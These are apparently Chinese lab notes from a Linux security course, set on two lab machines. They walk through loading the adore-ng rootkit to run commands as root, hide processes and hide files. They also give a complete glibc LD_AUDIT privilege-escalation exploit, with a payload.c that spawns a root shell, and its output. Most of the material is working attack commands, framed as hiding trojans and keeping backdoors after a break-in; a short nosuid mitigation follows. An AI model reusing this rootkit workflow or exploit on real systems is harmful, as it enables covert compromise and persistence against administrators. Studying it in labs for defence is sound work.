每天必问必答:
***1.每天在学什么?
***2.学了有什么用?
***3.工作中如何用?
心得:一定要把实验出错的地方、原因、解决方案都总结到笔记上。笔记一定要自己写的详细些!
服务端:xuegod63.cn IP:192.168.1.63
客户端:xuegod64.cn IP:192.168.1.64
本节所讲内容:
• 通过rootkit隐蔽行踪
• Linux提权
实战:rootkit隐蔽行踪-Linux提权
可以:1 。 你可能听不懂:。 风格:1 。 深度: ok?
上传 *** -》 获得普通权限-》 提权 -》 留后门 rootkit隐蔽行踪
1、通过rootkit隐蔽行踪:提权,隐藏进程号,隐藏文件
rootkit : Linux***。
LKM: LKM英文是:Loadable Kernel Modules,翻译过来就是“可加载内核模块程序”,
这是一种区别于一般应用程序的系统级程序,它主要用于扩展linux的内核功能。
LKM可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。
声卡驱动现在运行着?运行。
这个声卡驱动的进程在哪? 很难找到
如果我的***程序以模块运行?
安装: adore-ng (rootkit其中一种)
adore 崇拜 [əˈdɔ:(r)]
官网:https://github.com/trimpsyw/adore-ng
实战:通过rootkit隐蔽行踪:提权,隐藏进程号,隐藏文件
安装:
[root@xuegod63 ~]# unzip adore-ng-master.zip
[root@xuegod63 ~]# cd adore-ng-master
[root@xuegod63 adore-ng-master]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm
[root@xuegod63 adore-ng-master]# make
[root@xuegod63 adore-ng-master]# insmod adore-ng.ko #加载模块
测试,查看帮助:
[root@xuegod63 adore-ng-master]# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
I print info (secret UID etc)
h hide file #隐藏文件
u unhide file
r execute as root #可以提权,以root身份运行程序
R remove PID forever
U uninstall adore
i make PID invisible #隐藏进程。隐藏你的***程序
v make PID visible
测试:准备环境,创建一个普通用户于测试。然后在普通用户上,通过ava命令,提权后,以root身份运行一个进程。
提权:提高自己在服务器中的权限,主要针对网站***过程中,当***某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器超级管理员权限。
[root@xuegod63 ~]# useradd mk
[root@xuegod63 ~]# echo 123456 | passwd --stdin mk
Changing password for user mk.
passwd: all authentication tokens updated successfully.
例1: 通过ava命令提权。让普通用户mk可以获得root权限
[root@xuegod63 adore-ng-master]# cp -r /root/adore-ng-master /tmp/
[root@xuegod63 adore-ng-master]# chmod 777 /tmp/adore-ng-master/ -R
[root@xuegod63 adore-ng-master]# ssh [email protected] #以普通帐号登录
[mk@xuegod63 ~]$ cd /tmp/adore-ng-master/
[mk@xuegod63 adore-ng-master]$ pwd
/tmp/adore-ng-master
[mk@xuegod63 adore-ng-master]$ ./ava I #查看基本信息,能弹出以下信息说明程序运行正常
56,500,500,56
Adore 1.56 installed. Good luck.
ELITE_UID: 2618748389, ELITE_GID=4063569279, ADORE_KEY=fgjgggfd CURRENT_ADORE=56
实战: r 选项: execute as root #以root身份运行程序
[mk@xuegod63 adore-ng-master]$ ll /etc/shadow
---------- 1 root root 1071 Apr 7 10:17 /etc/shadow
[mk@xuegod63 adore-ng-master]$ vim /etc/shadow
[mk@xuegod63 adore-ng-master]$ ./ava r vim /etc/shadow #编辑时,可以写入一些内容,测试是否可以正常写入
查看修改成功:
[root@xuegod63 ~]# vim /etc/shadow
另外,在别一个终端上查看,此进程的用户身份:
[root@xuegod63 ~]# ps -axu | grep shadow
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 6874 0.1 0.1 10216 2924 pts/3 S+ 04:12 0:00 /usr/bin/vim /etc/shadow
root 6879 0.0 0.0 4024 692 pts/2 S+ 04:12 0:00 grep shadow
留后门,不让人看见?
实战2: 隐藏进程。 隐藏你的***程序
模拟一个***程序:
[mk@xuegod63 adore-ng-master]$ cat a.sh
#!/bin/bash
sleep 2000
[mk@xuegod63 adore-ng-master]$ chmod +x a.sh
[mk@xuegod63 adore-ng-master]$ ./a.sh &
查看:
[root@xuegod63 ~]# ps -axu | grep a.sh
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
mk 6339 0.0 0.1 106148 1184 pts/3 S 10:32 0:00 /bin/bash ./a.sh
隐藏进程
[mk@xuegod63 adore-ng-master]$ ./ava i 6339 #隐藏进程
56,500,500,56
Adore 1.56 installed. Good luck.
Made PID 6339 invisible.
[root@xuegod63 ~]# ps -axu | grep a.sh #查看
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root 10225 0.0 0.0 103300 852 pts/4 S+ 22:54 0:00 grep a.sh
实战3: 隐藏文件
[mk@xuegod63 adore-ng-master]$ mkdir test
[mk@xuegod63 adore-ng-master]$ cd test/
[mk@xuegod63 test]$ echo aaaa > a.php
[mk@xuegod63 test]$ ls -a
. .. a.php
隐藏文件
[mk@xuegod63 test]$ /tmp/adore-ng-master/ava h a.php
56,500,500,56
Adore 1.56 installed. Good luck.
File 'a.php' is now hidden.
查看:
[mk@localhost test]$ ls -a
. ..
[mk@xuegod63 test]$ cat a.php
aaaa
尝试:查找最近被的修改的文件
[mk@xuegod63 test]$ touch b.php
[mk@xuegod63 test]$ ls
b.php
[mk@xuegod63 test]$ find ./ -mtime -2
./
./b.php #找不到出来
有没有办法查看到a.php : 没有。 除非把rootkit***程序关了
恢复出来:
[mk@xuegod63 test]$ /tmp/adore-ng-master/ava u a.php
56,500,500,56
Adore 1.56 installed. Good luck.
File 'a.php' is now visible.
[mk@xuegod63 test]$ ls -a
. .. a.php
总结:
1、通过rootkit提权
2、通过rootkit隐藏***进程号
3、通过rootkit隐藏***文件
创建一个让root用户 都删除不了的***文件
[root@xuegod63 ~]# lsattr b.txt
----i--------e- b.txt
[root@xuegod63 ~]# chattr -i b.txt
[root@xuegod63 ~]# rm -rf b.txt
实战2: Linux下普通用户提权
提权:你听不懂。 听深度,后期自己能做出来效果就可以
提权: 从普通用户提升到root权限
注:RHEL5 到RHEL6.0 32位操作系统和64位操作系统都存在以下漏洞。
利用glibc库的漏洞,提权。
以一个普通用户登录
[root@xuegod63 ~]# su - mk
[mk@xuegod63 ~]$
suid : 当用户执行时命令a时,会以命令a的拥有者身份运行此命令。
[mk@xuegod63 ~]$ cd /tmp/
[hello@localhost tmp]$ ls -ld /tmp/
drwxrwxrwt 11 root root 4096 10-14 21:29 /tmp/
[hello@localhost tmp]$ cd /tmp/
[hello@localhost tmp]$ mkdir exploit //随便在tmp目录下创建一个文件夹exploit:利用
[mk@localhost adore-ng]$ ll /bin/ping
-rwsr-xr-x 1 root root 35832 Apr 24 2009 /bin/ping
[hello@localhost tmp]$ ln /bin/ping /tmp/exploit/target //创建/bin/ping 的一个硬链接,硬链接的名随便起
[hello@localhost tmp]$ exec 3< /tmp/exploit/target
[hello@localhost tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[hello@localhost tmp]$ rm -fr /tmp/exploit/
[hello@localhost tmp]$ ls -l /proc/$$/fd/3 //查看链接已经被删除
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[hello@localhost tmp]$ cat payload.c //写一个C语言程序
void attribute((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[hello@localhost tmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c //编译C程序
[hello@localhost tmp]$ ls -l /tmp/exploit
-rwxrwxr-x 1 hello hello 4223 10-20 09:32 /tmp/exploit
[mk@xuegod63 tmp]$ whoami
mk
[hello@localhost tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@localhost tmp]# whoami
root
在RHEL6.1尝试时,前面几条命令都可以执行成功,在执行最后这条命令时报以下错误,并直接使用普通用户退出登录。
提示:对像$ORIGIN不能被作为审计接口加载
无法打开共享文件ject ;忽略
解决方法:
对 777 的目录做如下操作 , 可以控制你提权的 . 比如 /tmp
mount -o bind,nosuid /tmp /tmp
还需要把用户的家目录也用上面的方法打上补丁:
[root@xuegod63 ~]# mount -o bind,nosuid /home/mk /home/mk
修改就不行了,执行ln命令时提示以下错误。
[root@xuegod63 ~]# su - mk
[mk@xuegod63 ~]$ ln /bin/ping /tmp/ping
ln: creating hard link /tmp/ping' =>
/bin/ping': Invalid cross-device link
#报错,创建硬链接时,报错,无效的跨设备连接
注:查找权限是777的文件夹:
root@xuegod63 ~]# find / -perm -777 -type d
/var/tmp
/dev/.mdadm
/dev/.udev
/dev/.udev/rules.d
/dev/shm
find: /proc/9346/task/9346/fd/5': No such file or directory
/proc/9346/task/9346/fdinfo/5': No such file or directory
find:
find: /proc/9346/fd/5': No such file or directory
/proc/9346/fdinfo/5': No such file or directory
find:
/tmp
/tmp/VMwareDnD
/tmp/.ICE-unix
/tmp/.X11-unix
普通用户的家目录 /home/普通用户
注:
-perm mode:文件权限正好符合mode
-perm +mode:文件权限部分符合mode
-perm -mode: 文件权限完全符合mode
总结:
1、通过rootkit提权
2、通过rootkit隐藏进程号
3、通过rootkit隐藏文件
实战2: Linux下普通用户提权